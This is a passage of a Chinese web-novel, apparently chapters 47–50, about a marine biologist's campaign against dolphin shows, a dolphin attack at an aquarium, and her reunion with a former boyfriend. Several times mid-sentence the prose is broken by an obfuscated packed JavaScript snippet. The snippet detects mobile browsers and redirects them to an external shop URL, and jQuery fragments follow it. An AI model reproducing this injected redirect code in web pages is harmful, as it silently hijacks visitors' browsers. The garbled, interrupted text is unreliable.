照片里的何舟泽张扬地笑着,脸庞比现在要青涩稚嫩一些。他的手揽着另一个人的肩,对方的滑雪服是粉白色的。 虽然还没看见脸,但那显然是个女生。 程青筠瞪大了眼睛——这张照片的背景为什么这么眼熟? 另一张照片飞速地闪过她的脑海,程青筠不敢相信地将整张相片抽出来,然后就看见了几个小时前与她在地铁站道别的那个人。 ——是乔老师。 两个月前,她在乔之的办公桌上看到过一张拍摄于札幌的单人照。照片里的乔之洋溢着灿烂的笑容,与平时的她很不一样:她坐在雪地里,身穿着粉白色滑雪服。 现在,她在表哥的书桌里找到了另一张照片,一样的地点、一样的时间。照片里有两个人,他们紧紧相靠,就像全天下最普通的一对情侣。 程青筠忽然间想起了很多细节。 去年冬天,何舟泽在日本完成一项拍摄工作后,给自己安排了一周的假期,全程都在北海道。 程青筠在家闲得慌,也跟着一起去了。 兄妹俩都喜欢滑雪,而且程青筠早就去日本玩过很多次,所以她对这样的安排没什么意见。 出发去札幌那一天,何舟泽罕见得沉默了很久。 当时她以为是他工作疲惫,还没缓过神。现在想来,其实一切都很不对劲,因为何舟泽在札幌连一张照片都没留下。 原来多年前,表哥和乔老师就曾去过那里,他们留下了让双方都足以珍藏一生的照片。 程青筠的记忆从未如此清晰过,那两人在提到对方时,神情都有微妙的变化。从前她没注意,但是现在想起来都是细节。 “咳咳——”程青筠蹑手蹑脚地走到客厅,发现何舟泽还在看那个视频。 原来白月光传闻是真的!他这个样子显然是还旧情难忘。 程青筠像是窥探了惊天大秘密,惊喜又遗憾地磕起这陈年旧糖。 何舟泽转头见是她,奇怪道:“没找到?就在右边最上面那个抽屉……” 程青筠摆摆手道:“不不不,不重要。” 她故作乖巧地跪坐在何舟泽身边的沙发上,小心翼翼地从背后拿出照片,“对不起,我不是故意看到的。但是——哥,你真的和乔老师在一起过吗?” - 视频的传播速度比乔之想象中还要快。 这些天她因为海豚的异常情况,几乎每日都去海洋馆观察。 今天她一走进海豚馆,就感觉到四处投来打量的目光。 等见到了小徐,她问起缘由,对方哭笑不得道:“乔老师,你那个视频太火了。最近好多人给馆里留言问动物表演的事情,这几天表演频次改成了两天一次,客流量明显少了……” 小徐顿了顿,好半天才说出口:“副馆长说,您最近要是没什么事,还是少来吧。何舟泽的宣传广告都没您的视频……呃,有影响力。” 乔之听出他的言外之意,因为她的视频,这几天关注动物表演的人越来越多,馆里的海豚表演受到了影响。 馆里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651628|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始同意她来观察海豚是看上了何舟泽的流量,没想到她拿到数据后过河拆桥,反而给海洋馆带来了负面效益。 乔之录制视频是为了让大众认识到动物表演的危害,本意并不是为了妨碍海洋馆工作。这件事情上,他们本就站在了两个立场,有矛盾冲突很正常,但她以为江临市海洋馆既然常年以野生动物保育为目标和宣传口号,自然能认识到动物表演的不当之处。 她没有把营收的需求考虑在内,加上视频发酵太快,双方都来不及好好沟通。 “抱歉。”乔之垂眸道,“如果能帮的上忙,我会尽全力。” 这时另一个饲养员路过,听见这话忍不住接了句:“您好好当您的科学家,什么都不做才是帮我们的忙。” 海洋馆的营业额和他们的收入挂钩,有怨气很正常。 乔之既然已经下定决心,就不会轻易放弃,于是她还是争取道:“我才观察了两个多月,数据还不够完善。馆里海豚的情况我都了解,或许可以帮忙想想办法。” 小徐脾气温吞,心底也觉得乔之做的是好事,只不过他说了不算,于是只道:“乔老师,您要不去和我们馆长聊聊?明天有个小学要来馆里春游,到时候馆长也在。” 乔之感激地道谢,但离开海洋馆时心里其实有些迷茫。 她无比确信自己做的是正确的事,但这个正确或许是从她的立场出发。 她一直都觉得自己要成为一个理性客观的科研工作者,可现在却发现保持中立很难。就像刚刚那个饲养员责怪她不专注自己的一亩三分地,非要多管闲事。 她在回学校的路上给吴主任发了一条微信,对方只让她到办公室找他。 吴裕是乔之很敬佩的一位老师,她读本科时就常其照拂。他本人在科学研究和人情世故中做到了极好的平衡,乔之在科研道路上受到过很多指点。 所以这样的时刻,她选择寻求恩师的建议。 吴裕的办公室也在海洋楼三楼,与乔之的办公室相隔不远。 乔之一到学校就直奔他的办公室,却没想到看见了一个意想不到的人。 吴主任端着他万年不变的保温杯,见乔之来,笑呵呵道:“小乔来了啊。我把你的问题跟余院士说了,你俩交流交流,我出去打个水。” 余惜文院士今天穿得很随和,她扎了个低马尾,正坐在沙发上对乔之微笑。 余院士这些年调到了京市的研究院,已不常回江临。算起来,乔之见过她三次。只是她没想到能在这里见到这等大人物,不由得也有些局促了起来:“余院士好。” 对方倒是很平易近人,就和多年前的毕业典礼上一样。她温和道:“小姑娘,我们之前见过一次。你果然没让我失望。” 她居然还记得她。 余惜文拍了拍身边的位子让乔之坐下,而后问道:“说说看吧,遇到什么麻烦了?” 余惜文是乔之的学术偶像,这会儿一向淡然的她也不禁有些紧张。她在脑子里组织好语言,向她说了说自己的迷茫:“我不知道自己该不该这么做。” 余院士没直接回答乔之的问题,转头问了一句:“你觉得,科学家的责任是什么?” 乔之微微睁圆眼,一时没说话。 余院士继续说道:“有些人专注理论,终其一生为了解答‘是什么’,突破人类的认知上限;有些人关心世界,期待看见成果落地,推动社会变革。你觉得谁的工作更高尚?” 乔之摇摇头道:“我无法选择。” 余惜文说:“是啊,这两者其实并没有对错之分。” 说完,她直直地看向乔之的眼睛,鼓励道:“做你认为正确的事情。向前走,别犹豫、别后悔。” 48.第四十八章 乔之整理了一晚上的资料,只为了和海洋馆馆长见面时有更多谈判的筹码。然而第二天她见到馆长时,才发现对方并不关心这些。 馆长只问了一句:“那你想过馆里的营收问题该怎么解决吗?” 馆长是个中年女人,看上去很和气,但说的话却一针见血。 乔之摆出了一些现成案例,提了几个可行的路径。 “乔老师,这些举措都是说得轻巧,执行起来却并不容易。如果您能给出更详尽的方案,我们会进一步考虑。”馆长显然不满意这样的答案,她只搪塞道,“而且这件事光我们做不了决定,得有官方参与进来。” 乔之早就考虑到这一点,虽然心里没底,但还是坚定道:“我已经在联系有关部门了。至于馆长您说的方案,我会尽快给您一个答复。” 馆长见乔之并没有知难而退,于是多看了她一眼,却发现对方也不过是个年轻老师。 她放缓了态度道:“那我祝你好运。” 乔之告别馆长后,从办公楼里走出,正好撞上了一队小学生。 她想起来,小徐说过今天海洋馆有小学生来春游。 这个小队正在参观水母馆,领队的讲解员是个年轻女孩,她很擅长调动小孩的积极性,讲解中穿插着不少小游戏,引得大家连连惊叫。为了赢得游戏,小学生们在展板上四处寻找线索,一时之间,整个场地里都充斥着孩子们的欢声笑语。 今天是周六,按理来说会有不少游客,但是乔之没见到除了这些小学生之外的其他人,她心里感到有些奇怪。 “孩子们,我们要准备去海豚馆和其他小队集合咯!今天有海豚表演!”讲解员拿着小蜜蜂招呼着小学生排队集合。 乔之听见这话,眼皮不由得跳了跳。 没有人比她更清楚,现在馆中的海豚并不适合参加演出,而且这两天馆里确实已经暂停了表演。 她赶紧越过队伍去海豚馆找小徐了解情况。 小徐见她来,表现得有些惊讶:“乔老师,你没去找馆长吗?” “刚刚已经聊过了。”乔之直奔主题地问道,“今天怎么还会有海豚表演?” 小徐挠挠头,叹气道:“今天整个海洋馆都被育林小学包场了,他们付了一大笔费用要求我们组织科学活动,还点名要安排海豚表演。” 乔之这才了然,怪不得今天馆中没有别人,原来是被包场了。 育林小学是江临市有名的私立小学,就读的学生非富即贵,每年光学费就能抵普通人家半年的薪水。因此他们能做出包场的行为并不奇怪。 想到这,忽然有个想法闪过乔之的脑海,她赶紧翻出手机备忘录,敲下几个字。 小徐见乔之一时没说话,以为她是担心海豚的情况,安慰道:“我们今天选的都是状态最好的那几只,应该不会出什么问题。” 然而就像是应验一般,表演场地那边忽然传来了喧闹声。小学生尖利的声音穿过场馆,直直地传到了工作区域。 乔之心里升起不详的预感,赶紧和小徐往外跑。 果然是出事了。 乔之一眼就看见水池一处的水面已经被鲜血染红,一个工作人员正捂着自己的大腿挣扎着往岸上爬,他身后有两只海豚试图继续拖他下水。另外几位饲养员正在努力控制失控的海豚,但一时不见成效。 这等血腥场面对成年人都太过恐怖,更别提这一群心智尚未成熟的小学生,现场的尖叫声和哭喊声混作一团。观众席一是乱成了一片。 乔之的脑子里“轰”一声巨响,身边的小徐已经赶紧往自己同事那边跑去:“乔老师,我先过去帮忙。你注意安全!” 不断有人冲进场馆里帮忙,现场一片混乱。 乔之稳了稳心神,往观众席那边跑,帮忙引导孩子们退场。 救护车很快就到了,那位受伤的饲养员看起来情况很糟糕。海豚平时里看上去再怎么温和,发狂起来的伤害性绝对是人类难以招架的。 育林小学的学生分批地接受心理疏导,逐一被家长接回家。海洋馆的工作人员以及乔之都留下来说明当时的情况,所有人都焦头烂额——这次出大事了。 乔之心神俱疲地回到家时,“江临市海洋馆海豚发狂伤人”的词条已经冲上了热搜第一位。海豚伤人本来就很骇人听闻,更别提这次的事件还和这一群小学生挂上了钩。 江临市海洋馆第一时间发了声明,但还是被舆论架在了火上烤。 乔之和温言几周前发布的抵制动物表演的视频再一次受到全网关注。 程青筠也关注到了这条热搜。她看到新闻标题里的地点时,不由得瞪大了眼。她记得这些天乔之每日都去海洋馆,不知道她今天是不是在场。 思来想去,她还是给她发了条微信。 【青云之上:乔老师!我看到今天海洋馆出事的新闻了,您还好吗?】 【Jo:谢谢关心,我没事。】 【青云之上:最近海豚状态这么差,怎么还会让它们表演呀?】 【Jo:说来话长,今天是临时安排的演出,他们没料到会出事。】 乔之这时正对着电脑文档思考馆长今天所说的替代性盈利方案。她想到程青筠思路活络,说不定会有好的想法,于是又发去一条消息。 【Jo:青筠,你最近学习忙吗?关于海洋馆取消动物表演后的营收问题,我有几个想法想和你讨论讨论,不知道你有没有空?】 乔之想了想,又发了一条类似的消息给温言。 很快,两人都给了积极的回应,于是乔之拉了一个小群。 今天育林小学包场来参观的活动给了乔之一个灵感。 近些年研学夏令营、科普体验营之类的活动办得很火热,深受家长和中小学生的推崇和喜爱,海洋馆或许可以据此推出类似的体验活动实现盈利。 江临市海洋馆具有诸多优质资源,承办此类的活动不是问题,但需要有人策划推动。 眼下出了海豚伤人的事情,短期内恢复动物表演的可能性不大。这个节骨眼上,海洋馆也亟需破解困境之计,对他们的想法想必不会太抵触。同时,借这个事情可以增加有关部门的关注,在官方层面予以鼓励和支持。 程青筠和温言都是说干就干的性子,三人埋头想了一整夜,最后居然真的根据现有条件想出了一个像模像样的策划案。乔之也借吴裕的人脉,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665681|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度给有关部门发了一封电子邮件。 隔天乔之带着程青筠又去一趟海洋馆。 昨天出了那么大的事故,海洋馆已经暂停营业了。这会儿场馆门口围了不少媒体,但不见游客。乔之之前拿到的临时工作证没被收回去,于是她悄悄走了工作人员通道。 可惜今天馆长不在,想必是在外应对舆情。 乔之给小徐发了条消息,确定对方在馆中后,便去海豚馆找他。 海豚馆的表演区已经被封锁了,水池边散落着不少表演道具,观众席上也三三两两堆着些个人物品和垃圾没来得及被收走。 程青筠看着眼前的情形,忍不住轻呼:“天哪……” 眼前的凌乱让人恍惚间仿佛回到昨天兵荒马乱的现场,乔之至今仍心有余悸。 小徐这会儿刚好出来接她。他的脸色不太好,显然还没从昨天的事故中缓过来。他恹恹地打了个招呼:“乔老师,你来了啊。” 乔之不忍道:“你们还好吗?” “我还好,但老张的腿可能是保不住了,可能要截肢。”小徐重重地叹了口气。 老张就是昨天出事的饲养员,他的双腿多处被撕咬,大腿粉碎性骨折,筋脉都快被咬断了。 听说他才三十出头,女儿刚上小学。 小徐抬头看乔之,又叹了口气:“乔老师,你是对的。动物表演真的得取消,我们馆里的海豚已经没法再演出了。” 乔之不知道该怎么安慰他,倒是一旁的程青筠说了几句安抚的话,让小徐心情稍微好了一点。 “你知道现在馆长在哪里吗?”乔之想起今天来的目的,问了一句。 小徐摇摇头道:“这几天她估计忙着应付外面的人吧,我也不确定。” “那你有她的联系方式吗?” “我也只有办公室的电话。” 小徐毕竟也只是海洋馆的普通饲养员,乔之不再为难他。 这时程青筠出声问道:“徐老师你最近都会在馆里吗?” 小徐不明白她的意思,但也点了点头。 “乔老师,要不我们请让徐老师帮忙转交一下策划案?馆长总会回来的,就怕我们碰不上。” 乔之想了想,也觉得有道理,于是拜托小徐道:“小徐,可以麻烦你帮我把这个文件转交给馆长吗?”她从包里取出一个文件夹递过去。 小徐有些诧异地接过,程青筠又解释了一句:“昨天出了这么大的事,短期内怕很难再开展动物表演了。乔老师昨天想了个替代性的营收方案,希望能帮你们度过这次难关。” 这话说得很漂亮,委婉地解释了前因后果。乔之都对她微微侧目。 告别小徐后,两人避开媒体,从海洋馆的侧门走出去。 程青筠在门口支吾了半天,问道:“乔老师,要不要一起吃个饭?刚好我表哥今天有空,可以顺路来接我们。” 说完,她又飞快补充了一句:“是你认识的人。” 乔之还没来得及问她表哥是谁,就看见一辆熟悉的黑色轿车在面前停了下来。车窗摇下后,她果不其然地看见了何舟泽。 对方正扬着嘴角,向她招呼道:“乔老师,好久不见。” 49.第四十九章 乔之被程青筠推上副驾驶,稀里糊涂地上了车,一时半会儿没搞清楚眼前的情况。她只能快速地消化当前的信息量,然后得出了一个惊人的结论——何舟泽是程青筠的表哥。 这时,正安坐在后排的女生探过头来,笑容讨好道:“乔老师,我也是刚知道原来你和我表哥大学的时候就认识。实在是太巧了!” 乔之一时不知该作何回答,只干笑了声:“是啊。” 上次在办公室答疑的时候,她看程青筠电脑里开着何舟泽的舞台合集,还以为她是粉丝,没想到两人的关系比她还要更近。 这么想来,两人不仅五官有几分相似,气质也都是阳光普照的类型。 不过乔之不清楚程青筠对于她和何舟泽的关系了解到了哪一步,但听她说的话,似乎对两人的过去并不知情。还好上次她说得含糊,没有透露太多。 何舟泽在一旁开口:“我也是前几天才知道你是青筠的导师。” “你还好意思说!”程青筠愤愤道,“你明明就是才知道我的专业是海科!” 仿佛是特意解释这么一遭,让乔之知道他并非有意算计和欺瞒。 程青筠也在悄悄打量着乔之的神色,见她没露出不悦的表情,才暗自松了口气。 几天前,她在何舟泽的书房里撞破那个惊天大秘密后,拐弯抹角地打听了两人当年的事情。何舟泽应付般说得简略,但程青筠心知两人的故事并不简单。毕竟她在逢年过节的餐桌上听说过不少次,表哥以前有个谈了好几年的女朋友。 她甚至怀疑何舟泽至今仍对乔之念念不忘,于是她把论坛上两人在校庆那天的合照翻出来反反复复看了无数遍。 当时她也以为是何舟泽顺手救人,但如今知道两人关系后,她忽然觉得气氛莫名有些暧昧。 这克制的动作、隐忍的表情,她分分钟就能脑补出一场大戏。 为了验证猜想,她故意向何舟泽透露了今天会和乔之一起去海洋馆的消息。 果不其然,何舟泽听闻过故作不经意地问:“我那天下午没有工作,要不要接你去吃个饭?” 为了掩盖自己语气里刹那的一顿,他还装模作样地端起杯子喝了口水。 程青筠使坏般眨眨眼道:“哥,你最近这么忙,还是在家好好休息吧!不用麻烦了。” 何舟泽哪能看不出她的小心思,也跟着演戏:“没事的。我们也很久没一起好好吃一顿了,免得你又说我不关心你。上次你说的那家法餐怎么样?” 程青筠对那家餐厅垂涎已久,但一道菜动辄上千的价格让她舍不得动用自己的小金库。这会儿何舟泽主动提出来了,她当然不能放过大好机会,于是立马点点头道:“那可太好了!” 完了还懂事地补上一句:“要不我把乔老师也叫上吧?” 她暗中观察着何舟泽的表情,见对方一脸暗喜地投来赞许的目光,就知道自己的猜测八九不离十了—— 表哥果然还喜欢乔老师! 不过趁机蹭一顿美食虽爽,程青筠心里还是有些忐忑,因为她不敢确定乔之对何舟泽的态度。 虽然她一贯很会察言观色,但毕竟统共只在乔之面前提过何舟泽一次。那时候乔之的神情虽略有些不自然,但总体而言看不出太多东西。而且到底是前任,有些尴尬也是在所难免的。 她甚至想好了,若是乔之表现出一丁点不情愿,她保准将何舟泽清理出她的世界,休想通过她接近乔老师一分一毫。 眼下见两人不尴不尬地交谈着,竟有种诡异的好磕。程青筠敲了敲自己的脑袋,想看看是不是自己磕cp磕多了,已经磕出幻觉了。 何舟泽在后视镜里看见她的动作,搞不清楚她又在整什么幺蛾子,笑道:“你在干什么?” 这话没有明确的指向,乔之愣了下还以为是在问自己,于是回答道:“我和温言在讨论一个视频的内容。” 说完,她才意识到何舟泽问的是程青筠。 不过兄妹俩都很懂怎么不让人尴尬,一个作势倒在座椅上说:“我有点困,快到了再叫我。” 而何舟泽则是看了她一眼,接下她的话问道:“温言?你们还有联系?” 乔之压低了声音说:“上次校庆的时候偶然遇见,就加了微信。前段时间我们还一起录了个科普视频。” 何舟泽“哦”了声,没多的反应。 乔之猜想他这么忙,大概没时间刷视频。 于是她补充了一句:“我们最近在科普动物表演的危害性,青筠也和我们一起在做这件事。” 后排的程青筠努力控制住自己的表情,忍住没揭穿何舟泽。 现在装得云淡风轻,实际上早就把乔老师的那个视频盘包浆了吧!而且温言姐姐明明也出镜了,他倒是直接视而不见了。 何舟泽不知道自家表妹已经在心里将自己吐槽了千万遍,只点点头说:“嗯,她和我提过一嘴。有什么我能帮上的,尽管开口。” 乔之道了声谢,却没想让他也卷进来。以何舟泽的流量,他的发声肯定能让这件事得到更多关注,但是目前舆论倾向还不明确,乔之担心会给他带来不必要的麻烦。 车子开了好一会儿,等到餐厅时已过晌午。 这家餐厅坐落在闹市区,却偏偏闹中取静,开辟出了一方雅致的天地。从大门到餐厅之间是一处栽满鲜花的温室花房,门童会为每个前来的客人递上一小捧鲜花。 这样的环境容易让普通人望而生畏,生怕声音拉高一分便坏了礼数,乔之向来不爱来这种令人拘束的地方。 不过程青筠倒是很自如地点起了菜,没有故作优雅,语调里依旧雀跃着三五只黄鹂,兴高采烈地选了个最贵的套餐。 何舟泽见她大刀阔斧地点餐,调笑道:“你还真是不客气,不怕被押在这打工还钱吗?” “这不是有哥哥在嘛!”程青筠故意拿腔拿调,末了又吐吐舌头道,“而且凭我洗一次碗碎三个盘的技术,他们哪敢留我啊!” 女生的表情生动,精彩得如同唱戏的旦角儿,逗得乔之也忍不住弯起了嘴角。 见兄妹俩亲昵的互动,她内心深处隐隐有些羡慕。 外婆只有乔希一个女儿,远了的亲戚更是没有往来。乔之从小就是独自长大,从未有过这般亲密的关系。 在她眼中,程青筠和何舟泽显然是一类人——他们都在爱中成长,所以从不畏惧表达情感。他们的喜欢一定宣之于口,他们的反感也绝不藏着掖着。 与之相比,乔之的感情更内敛,也因此更复杂。 人的情绪压抑久了,便会连自己都分辨不了真假。 程青筠昨天没在现场,只在新闻里读到些只言片语。她对事故经过生起些好奇,于是又回过头来问乔之。 乔之昨天也没亲眼目睹全程,只说了个大概。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672900|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何舟泽的手随意地搭在桌沿,全程保持着倾听的姿态。他的位置临窗,外头的光线照亮了他半边脸颊。 他适时地提问道:“那你们接下来有什么打算?” 乔之道:“我们给海洋馆出了几个替代性的营收方案,这几天我也在联系有关部门,看看能不能由官方牵头这件事。”可惜一直不见回信。 乔之打算再等几天,实在不行再找找关系,看能不能直接对接上负责人。 何舟泽见她眼下有一圈淡淡的青黑,心知她肯定又熬了好几天,于是关心道:“注意休息,别熬太晚了。” 语气熟稔,像极了从前。 乔之的生活习惯一直很好,早睡早起,一日三餐皆不落下。然而一旦碰上赶实验进度或是其他任何和事业沾边的任务,她就能不眠不休连干好几天,不见她歇一口气。 在海洋楼那间实验室里,何舟泽曾陪她熬过好几次夜。每回他都会在角落里默默寻个位置写歌,偷偷看乔之在不同仪器前转来转去。 那时候,他们都在为自己的前程努力。不同的路,却也并肩同行过。 程青筠见两人自然地互动,故意蹭到何舟泽跟前,拉了拉自己的眼皮道:“哥,我也熬出了很深的黑眼圈,用了好几层遮瑕都盖不住呢——你也关心关心我。” 何舟泽推开她,拍拍她的脑袋说:“可是你每天睡到日上三竿,乔老师可不这样。” 乔之见状,笑着为她说好话:“青筠也挺努力的。” 好家伙!连乔老师什么时候起床都知道! 程青筠心满意足地磕到了想要的糖,开始假装乖巧地吃起饭。 一顿饭吃得还算愉快,乔之下午要去温言那边录视频,位置离餐厅不远,她打算走路过去,于是几人就此告别。 温言和邵明喻刚结婚不久,他俩的新房里专门留了个房间供温言录制和剪辑视频。乔之是第一次来。 上一回录视频时,她的腿脚还不方便,于是温言带了设备到她家里。眼下她已经能正常出行,便选择去温言家中,省去了搬运设备的麻烦。 温言早就在小区门口候着了,她穿着双棉拖鞋,像是刚出来不久。她一见乔之,便往她手里塞了杯咖啡:“辛苦学妹跑一趟,今天估计要录很久,先来杯咖啡提提神。” 乔之一边答谢,一边跟她往小区里走。 温言自己拿着杯冰美式,走路时里边的冰块相撞,发出“砰砰砰”的脆响。 她猛喝了一大口,说道:“海洋馆还在热搜上挂着呢。我听之前的同事说,昨天现场有一群育林小学的学生?” 温言离职前是江临电视台社会新闻栏目的记者,手头的消息比一般人灵通许多。 乔之点点头:“听说是包场组织科普学习活动,但没想到会发生这种事。” “哎——”温言小声惊叹道,“那这事真不好收场了。育林小学那都是什么家庭啊,那些家长肯定不会善罢甘休。我估计这回真有可能要取消表演。” 这件事的发展的确出乎所有人的意料,乔之原以为会是个持久战。取消动物表演对他们来说算是实现了目的,但毕竟工作人员受到的重伤和小孩们的心理阴影都不是好事。 “现在还不清楚呢。”乔之至今还没收到任何一方的回应,她叹了口气,“但愿能有个好的收场。” 没想到周一上午,乔之就接到了一个意外来电。 50.第五十章 周一上午,微博热搜上有两条新闻引起了极大讨论。其一是发酵了好几天的“江临市海洋馆海豚伤人事件”,其二是刚刚被顶上来的“东州于今日成功放生五只海豚”。 相似的话题,但因为新闻内容截然相反,底下的评论也是两边倒。东州有多被大众赞赏,江临市被骂得就有多惨。 乔之早就听说过东州那边的事情。 一年以前,东州海洋世界的海豚接连出现抑郁现象,正常的演出难以为继。那边的负责人当机立断,请了一批国内外的专家商讨这批海豚的救治行动,最终决定进行为期一年的适应性训练,适应完成后就逐步放归野生环境。 现在一年时间已到,东州海洋世界的已经有几条海豚达到了野外生存的标准,将于附近海域放生。 这是国内第一例圈养海豚放流行动,无数双眼睛盯着他们的一举一动,东州那边顶着极大的压力。 乔之不由得有些佩服负责人的果敢和担当。 有珠玉在前,江临市海洋馆将遭受更猛烈的抨击。 中午快到饭点时,温言在三人小群里转了条大新闻。 【温言:姐妹们!!江临市海洋馆刚刚发公告说,将永久性取消馆内海豚表演。[链接][链接]】 【青云之上:!!!】 乔之还没来得及细看,就接到了一个陌生电话。对方是一个年轻女人,一口标准的普通话:“您好,请问是江临大学的乔之老师吗?我是省xx厅野生动物保护中心*的联络人。” 乔之正在去吃午饭的路上,闻言当即停下了脚步,连忙回复:“您好,我是乔之。” 因为上周海洋馆发生的事故以及后续舆论,厅里关注到了她的来信。来电是为了进一步了解乔之此前在信中提到的有关取消海豚表演和野生动物放流的事情。江临市有关部门计划协助海洋馆进行海豚放生行动,想邀请乔之指导工作。 有关部门能这么快关注到此事,想必和东州那边放生行动成功大有关系。有对比才有伤害,此事已经不单是关乎海洋馆的脸面,眼下与整个江临市都扯上了关系。 乔之和对方敲定了一个时间,更多事情将在之后详谈。 【Jo:我刚刚接到野生动物保护中心的电话,他们开始考虑野生放流的事情了。】 【青云之上:好耶!!希望一切顺利!】 【温言:太好了!我今天抓紧把视频剪完,趁这个时间发出去。】 等到了下午,乔之刷到一个视频,才知道这次的事情能响应这么快,原来是有贵人在背后推了一把。 那天余惜文院士回江临是为了参加一个青年科学家的座谈会。她作为生命科学领域的前辈上台致辞:“我发现很多刚参加工作的科研工作者容易产生迷茫,可能是研究做得不顺利,也可能是做得太顺利反而忘记了出发时的本心。昨天有一个很年轻的老师问了我一个问题,她说不知道何为科学家的本职。大家觉得,科学家的本职是什么?” 台下的听众议论纷纷,余院士微笑道:“看来大家都无法得出一个确切的结论。事实上,这个问题本来就没有答案。这位老师之所以这么问,是因为她最近在倡导社会各界抵制动物表演,但是却被人质疑多管闲事,做了不符合科学家身份的事。但是谁又能定义科学家应该是什么样的呢?” “有人用性别定义我们这个职业:我上大学选专业的时候,有人劝我女孩子,应该选师范、会计或者法律,而不是一头扎进实验室里耽误大好青春;也有人用国别下定论:二十多年前我在国外读博士的时候,有外国同学跟我说‘你们国家培养不出科学家’。” “然而事实上,今天我们国家培养了一大批优秀的青年科学家,其中半数都是年轻的小姑娘。所以我想说,大家不要怕别人的眼光,只管坚定地往前走。就像昨天那个年轻人,虽然苦恼,但也很勇敢,她坚持要继续走下去。因为无论是深耕理论还是推动社会变革,我们都能成为这个时代最好的科研工作者。” 余惜文身为院士,言语会受到极大的重视。正因如此,乔之的倡议才这么快就走进了官方的视线。 乔之看完视频,心里满是感动。她没想到自己会被当成一个正面例子放进余院士的公开讲话中,这无疑是她在远处的一种声援。 没多久,江临市海洋馆馆长亲自打来了电话。 “乔老师,我收到了你给出的策划案。馆里讨论后觉得你的想法有可行的空间,我来和你道声谢。” 语气都客气了许多。 乔之道:“不客气。希望海洋馆能早日渡过难关,今后我也会尽可能帮忙。” 对方紧接着将下一步的计划说与她听,看起来像是将她当作半个自己人一般:“我们目前打算和东州那边合作,借鉴他们的方案,开启适应性训练。不过他们的训练场地离江临实在太远,我们想看看能不能在附近找到合适的地点。不知道您有什么想法?” 乔之忽然想起国庆去凤鸣岛野外调查的事情。她临走那天在小岛附近观察到了海豚群,而且岛上有他们学院的配套设施,或许那会是一个可行的选址。 于是她说:“我们学院的试验岛附近有海豚出没的观察记录,也许具备一定的生态条件。” 馆长没想到她能马上给出一个参考地点,当即喜悦道:“那可以麻烦您牵个线,让我们和学院进行进一步沟通吗?” 乔之没理由拒绝,便答应了这个请求。 如果真的要在凤鸣岛附近做适应性训练,这件事必定要上升到学院层面。好在此事已经有相关部门的介入,吴裕也很支持她,即便要费些功夫,但也不至于白忙活一场。 刚挂断电话,正巧吴主任这会儿端着他的保温杯晃悠到她的办公室门口。 他见门没关,于是站在门口敲了敲,顺口唠了两句:“这几天进展如何?还顺利吗?” 乔之看见是他,赶紧将人迎了进来,笑道:“今天接到野生动物保护中心和海洋馆的电话,他们决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683304|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要对这些海豚进行野生放流了。” 吴裕见乔之心情不错,打趣道:“前几天不是还烦着嘛,怎么一眨眼就跟坐了火箭似的。” “这几天确实发生了很多意料之外的事情。”乔之想起刚刚答应海洋馆的事,提了一句,“海洋馆那边想把凤鸣岛作为适应训练的场地备选,托我到学院里问问。” 吴裕一边拧着杯盖,一边说道:“这个事我回头跟院长说一声,得两边详细谈谈。” 他不紧不慢地喝了一口茶水,又给乔之打了针安定剂:“不过我估计问题不大。” 正好晚上院里中高级领导开会,他到时跟院长顺口提一句就是。这事做成了也有利于学院的宣传工作,总之没什么坏处。 乔之彻底放下心来。 随即,她又想起余惜文院士的那个讲座,趁吴裕临走前向他要了余院士的电话号码,想亲自表达自己的感谢。 不想,余院士回复得很快。一条短信不过寥寥几语,但乔之深受鼓舞。 她说:“这不是一件容易的事情。前路漫漫,希望你能一直保持这样的勇气。” 这一天似乎过得格外漫长,一连串的事情接踵而至。 余惜文院士到底是近年来最为大众所熟知的科学家之一,她的一番讲话被传到网上后,当即获得了大量转发,而她口中那位被坚定往前走的青年科学家也很快被人翻了出来。 乔之之前和温言录制的科普视频本身就有不小的热度,而她当时也标明了自己的姓名和职业。于是在余院士的视频发出来以后,无数网民涌入了她们这个科普视频的评论区。 【这就是余院士说的那位年轻老师吧?】 【老师说得太好了,支持取消动物表演!!】 